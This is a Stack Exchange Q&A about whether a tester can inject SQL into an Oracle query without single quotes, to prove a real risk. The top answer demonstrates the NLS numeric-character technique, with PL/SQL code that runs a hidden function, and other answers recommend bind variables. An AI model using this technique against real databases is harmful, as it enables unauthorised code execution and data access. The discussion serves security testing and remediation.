Take the 2-minute tour ×
Database Administrators Stack Exchange is a question and answer site for database professionals who wish to improve their database skills and learn from others in the community. It's 100% free, no registration required.

I'm testing an oracle based application and I've found the following code:

Query = "SELECT name FROM employees WHERE id='"+PKID+"';"

i.e. the query string contains quotes around the PKID value which is obtained straight from the URL.

Obviously, this is a classic SQL injection waiting to happen...except the application is behind CA SiteMinder which blocks any URL with a single quote (in any form) from being passed to the application.

Is there any way to break out of the string and inject SQL without using a single quote?

Edit: Sorry, I should have been clearer - I understand how it should be written, but I need to persuade people that it's an exploitable issue. At the moment because it's behind siteminder which blocks single quotes so it's going to be a low priority fix.

share|improve this question
1  
have you tried using a bind variable? –  JHFB Feb 11 '13 at 20:13
    
What @JHFB said. Binding variables is standard practice. –  FreshPhilOfSO Feb 11 '13 at 20:37
add comment

3 Answers

Yes, it is possible to perform an SQL injection attack without supplying quotes in the parameter.

The way to do this is with an exploit to do with how numbers and/or dates are processed. You can specify at the session level what the format of a date or number is. By manipulating this you can then inject with any character.

By default in the UK and US, a comma is used to indicate the thousands separator in numbers, and a full stop for the decimal point. You can change these defaults by executing:

alter session set nls_numeric_characters = 'PZ';

This means that "P" is now the decimal point and "Z" is the thousands separator. So:

0P01

Is the number 0.01. However, if you create a function P01, the object reference will be picked up before number conversion. This allows you to execute functions on the database giving you increasing powers, as follows:

Create a basic "get by id" function:

create procedure get_obj ( i in number ) as
begin
  execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/

Also create a function P01 which does something undesirable (in this case just creating a table, but you get the idea):

create function p01 return number as
  pragma autonomous_transaction;
begin
  execute immediate 'create table t (x integer)';
  return 1;
end;
/

And we're good to go:

alter session set nls_numeric_characters = 'PZ';

SELECT * FROM t;

SQL Error: ORA-00942: table or view does not exist

exec get_obj(p01);

anonymous block completed

SELECT * FROM t;

no rows selected

No quotes anywhere, but we've still managed to execute the "hidden" function P01 and create the table t!

While this may be difficult to do in practice (and may require some internal knowledge/help), this does show that you can inject SQL without having to have quotes. Altering the nls_date_format can allow similar things to be done.

The original findings for numbers were by David Litchfield and you can read his paper here. You can find Tom Kyte's discussion of how dates can be exploited here.

share|improve this answer
1  
Thanks, that's really interesting. –  jdsnape Feb 12 '13 at 22:04
add comment

You could probably overload the data type that you are using, causing that statement to fail. Then what comes after could potentially be run.

Maybe sending it in as a Unicode byte array would do the trick and get you out of that statement to another one.

If there's a hole open, it'll be abused. And blocking all strings with a single quote isn't a good idea as people with the last name "O'Brian" can't be your customers (among others).

share|improve this answer
    
I guess you mean "hole" and not "whole". –  ypercube Feb 12 '13 at 14:26
    
You are correct, thanks. –  mrdenny Feb 13 '13 at 20:26
add comment

Try using a bind variable. You can declare it as a number and that should prevent a damaging SQL injection.

ADDITION: bind variables also increase performance and scalability because the query plan is compiled and stored for re-use. Just something else to add to your argument. :)

share|improve this answer
1  
He is not asking about ways to prevent the inject but about ways to abuse it. –  Jeff Feb 11 '13 at 20:59
1  
@jeff The OP also asks for reasons to not use this kind of code. Not using bind variables destroys performance so this is a good reason to always use them. –  Vincent Malgrat Feb 12 '13 at 9:35
    
@Vincent Malgrat: "Not using bind variables destroys performance" is wrong.It is true that recompilation of a statement can be avoided by using bind variables. Also the shared pool will be flood by a lot of similiar statements if you don't use bind variables. Nevertheless the optimizer has less information for building a plan if one uses bind variables instead of literal values. There are situations where there should be selected different plans depending on the values of the bind variables (or the literal values). –  miracle173 Feb 13 '13 at 8:46
    
@miracle173 Of course there will be exceptions, but not for a primary key lookup as given by the OP, never =) –  Vincent Malgrat Feb 13 '13 at 8:56
add comment

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.